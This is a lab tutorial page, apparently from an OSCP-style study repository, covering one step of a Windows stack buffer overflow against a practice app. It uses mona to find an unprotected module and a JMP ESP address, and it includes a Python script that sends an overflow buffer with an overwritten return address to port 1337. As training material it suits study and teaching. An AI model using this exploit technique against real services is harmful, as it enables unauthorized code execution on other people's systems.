> For the complete documentation index, see [llms.txt](https://repo.4pfsec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://repo.4pfsec.com/buffer-overflow/remote-buffer-overflow/finding-a-return-address.md).

# Finding a Return Address

This Return Address would be written in the EIP and used to direct the application to where our payload will be located! Mona.py would be used for this as well.

## Listing all modules

The following command returns a bunch of programs/dependencies that our software in question uses/calls when operating. We notice that one of them has no memory protection or whatsoever. This would be useful for the process.

```
!mona modules
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcEFBrGUxSz2nuK-Wq%2F-MdcEK7mMJC8IXbsKA3U%2Fimage.png?alt=media\&token=bf14efc5-4cba-4d0e-8722-bc8347b76160)

### Analyzing Output

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcEbNwgbhXeQyW0SXA%2F-MdcEjLc-2z3WnMEF-iH%2Fimage.png?alt=media\&token=5ec4848e-ebd3-4d0f-82a2-a83d4075c517)

```
Log data, item 12
 Address=0BADF00D
 Message= 0x62500000 | 0x62508000 | 0x00008000 | False  | False   | False |  False   | False  | -1.0- [essfunc.dll] (C:\Users\admin\Desktop\vulnapps\oscp\essfunc.dll)
```

Searching through the output, essfunc.dll seems to have most of the protections turned off which would allow for this attack to go through.

## Locating OpCode syscall

### Generating OpCode

The next step would be to generate the opt code for “JMP ESP” so that we can look for it in `essfunc.dll`. We will be using `msf-nasm_shell` for this.

```
msf-nasm_shell
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcF-hgwmHopQVhed8X%2F-MdcF1S96U_79ddxIIug%2Fimage.png?alt=media\&token=54740640-315e-443f-8643-fb3657acb5ad)

### Finding JMP ESP

```
!mona find -s "\xff\xe4" -m "essfunc.dll"
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcF-hgwmHopQVhed8X%2F-MdcH53yncnd1zc3z-WQ%2Fimage.png?alt=media\&token=f68c8b88-7366-4ef8-b797-c7d44de46c26)

```
Log data, item 11
 Address=625011AF
 Message=  0x625011af : "\xff\xe4" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnapps\oscp\essfunc.dll)
```

`0x625011AF`

## Hitting Offset

Now that we have an offset, we can try setting a breakpoint and hitting to verify that we have full control.

### Setting breakpoint

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcF-hgwmHopQVhed8X%2F-MdcHUW6jnVR4pKOtxmz%2Fimage.png?alt=media\&token=73180c8b-f0d3-402e-baf8-989e76bd1f36)

Then, hit `F2` to set the breakpoint

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcHZfuye3FTDIpi1Qq%2F-MdcH_7uk19AJXh7j-Si%2Fimage.png?alt=media\&token=c1f47d67-ecb0-403d-ab29-cfaa98ffe8a7)

### returnAddress.py

```
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")
    
    prefix = "OVERFLOW10 "
    filler = "A" * 537 
    eip = "\xaf\x11\x50\x62" #0x625011AF
    buffer = prefix + filler + eip

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")
```

### Hitting breakpoint

```
python returnAddress.py
```

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcHZfuye3FTDIpi1Qq%2F-MdcHkV8L6SdjwWlWCbi%2Fimage.png?alt=media\&token=1df45dc8-6db4-4a0e-a03a-9303295309b1)

![](https://561482365-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MdOcy1ba9EGn2GQ7ELK%2F-MdcHZfuye3FTDIpi1Qq%2F-MdcHmOKM2xPd7N0qsJ6%2Fimage.png?alt=media\&token=3d05fa90-9b21-440c-a61f-faf4b7bdda64)

Our debugger shows that we did hit the JMP ESP and hit the breakpoint that we set previously.
